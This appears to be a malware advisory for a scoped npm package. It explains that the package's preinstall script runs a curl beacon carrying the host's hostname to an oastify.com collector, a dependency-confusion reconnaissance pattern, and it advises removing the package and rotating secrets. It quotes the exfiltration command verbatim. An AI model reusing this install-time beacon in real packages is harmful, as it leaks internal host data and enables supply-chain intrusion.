If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451)
The package's preinstall lifecycle script (index.js) runs child_process.exec of `curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/"`, placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on `npm install` before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.
Source: ghsa-malware (294029629ac71f7246894d75066c86cc81f715c39cf5f372eadf5e9cf1c429cb)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.